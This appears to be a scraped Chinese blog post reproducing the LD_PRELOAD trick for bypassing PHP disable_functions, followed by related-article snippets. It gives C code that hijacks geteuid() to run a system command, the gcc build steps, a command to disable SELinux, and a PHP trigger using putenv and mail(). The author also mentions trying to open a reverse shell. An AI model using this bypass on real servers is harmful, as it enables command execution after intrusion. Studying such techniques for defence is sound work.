php mail ld preload,读《利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令》有感...
今天看来一篇文章:http://cb.drops.wiki/wooyun/drops/tips-16054.html
复现了一下,感觉有点坑
我把复现的过程,结果和遇到问题在这里总结一下
我的实验环境是centos7 php 5.4
首先按照要求编译一个so
1.创建一个hehe.c
#include
#include
#include
void payload() {
system("ls /home > /var/www/html/kkkk.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
然后编译一下
gcc -c -fPIC hehe.c -o hehe
gcc --share hehe -o hehe.so
生成一个hehe.so文件
关闭selinux :setenforce 0
然后写一个test.php文件
putenv("LD_PRELOAD=/var/www/html/hehe.so");
mail("a@localhost","","","","");
?>
访问,等待了很久才在在网站根目录下生成一个kkkk.txt
虽然是成功生成了kkkk.txt,并且内容也是正确的。
但是有几个问题我搞了一天都没有解决:
1.生成的时候特别慢,特别卡,无论我把机子的性能调整到多高
2.不能用system函数读和删除文件,查看日志发现,路径虽然写对了,但是在日志中发现大量文件不存在或者没有被发现的错误记录,很郁闷,而且错误记录不止一条,有很多,证明mail函数在邮件没有发送成功的时候反复发送,直到一个阀值才停下
3.无法用常规的方式反弹shell出来
php mail ld preload,读《利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令》有感...相关推荐
- php ld preload,利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令
0x00 前言 在做渗透测试的时候如果遇到安全配置比较好的服务器,当你通过各种途径获得一个php类型的webshell后,却发现面对的是无法执行系统命令的尴尬,因为这类服务器针对命令执行函数做了防范措 ...
- 利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令
YiYang · 2016/05/20 15:55 0x00 前言 在做渗透测试的时候如果遇到安全配置比较好的服务器,当你通过各种途径获得一个php类型的webshell后,却发现面对的是无法执行系统 ...
- system+执行mysql命令_Windows环境下通过MySQL以SYSTEM身份执行系统命令 -电脑资料
前段时间出了两个关于MySQL的漏洞<MySQL CREATE FUNCTION功能mysql.func表允许注入任意函数库漏洞>.<MySQL CREATE FUNCTION功能l ...
- linux 环境变量LD_PRELOAD简介 定义优先加载的动态链接库
在Unix操作系统的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库. 这个功能 ...
- cmake and cmake-gui读的环境变量不一致
在配OpenNI2的时候, 导出变量到~/.bashrc后, 发现cmake和cmake-gui读出的变量不一致, 仔细一看cmake读的变量是从~/.bashrc文件里面的读的 cmake-gui是 ...
- centos shell基础 alias 变量单引号 双引号 history 错误重定向 21 jobs 环境变量 .bash_history source配置文件 nohup ...
centos shell基础知识 alias 变量单引号 双引号 history 错误重定向 2>&1 jobs 环境变量 .bash_history source配置文件 ...
- 【信息安全-科软课程】Lab2环境变量和Set-UID程序实验
目录 1.0 前言 2.0 实验任务 2.1任务1:操纵环境变量 2.2任务2:将环境变量从父进程传递给子进程 2.3任务3:环境变量和execve() 2.4 任务4:环境变量和system() 2 ...
- 10分钟搞定让你困惑的 Jenkins 环境变量
前言 Jenkins, DevOps 技术栈的核心之一,CI/CD 离不开编写 Pipeline 脚本,上手 Jenkins ,简单查一下文档,你就应该不会被 agent,stages,step 这类 ...
- 玩转u-boot之【初探环境变量env/bootcmd/bootargs】
在linux下玩过boot的人都知道,任何一款linux下的boot程序都会有一些运行参数,也可以叫环境变量或者环境参数.比如友善之臂给mini2440开发板标配的SuperViVi这款boot程序, ...
最新文章
- delphi memo 行数 自动换行_大咖分享办公秘籍:Word和Excel换行
- linux下安装svn
- python3.6在线编译器-CPython 解释器 与 VC 编译器版本对应关系
- ajax.filter json过滤,$.ajax()的dataFilter方法
- python lambda函数两个列表大小关系_python学习 -- operator.itemgetter(), list.sort/sorted 以及lambda函数...
- 鸿蒙系统8月9日发布,8月9日,华为发布EMUI10.0系统+展示鸿蒙系统
- 阿里云容器技术专家莫源:乘风踏雪归来,仍是此间少年
- 序号47指标横向展示.xlsx_电力监控系统安全防护规定Akey310参数指标
- nginx低版本不支持pathinfo模式,thinkphp针对此问题的解决办法
- python流程自动化_python selenium 自动化流程的一些总结与思考
- 容器技术Docker K8s 29 容器服务ACK基础与进阶-弹性伸缩
- 密码学 ZUC算法 Python实现
- 真正解决IDEA中Tomcat中文乱码问题
- 网口压线顺序_网线水晶头接法
- background属性总结
- 计算机工程与应用期刊模板,计算机工程与应用 论文模板
- 19 | 耗电优化(下):耗电的优化方法与线上监控
- 《暗黑破坏神》经典爆笑小说
- [AH2017/HNOI2017]抛硬币
- SSH Tunnel隧道
热门文章
- 深入mysql慢查询设置的详解
- NIO学习--缓冲区
- 单例模式创建的两种方法
- java中volatile的使用方式
- Linux 和 Windows 平台不同的 UCS-2 编码
- Halcon: 畸变矫正与标定(1)
- 【pyqt5】配置Qt Designer之【designer.exe的保存位置及ui文件转py文件及no Qt platform plugin could be initialized 问题解决】
- 车站计算机联锁系统的仿真设计,车站计算机联锁仿真设计.doc
- linux在双系统中消失了,双系统重新安装windows后,ubuntu选项消失
- jquery 判断是否有类名_Day037-JS、jQuery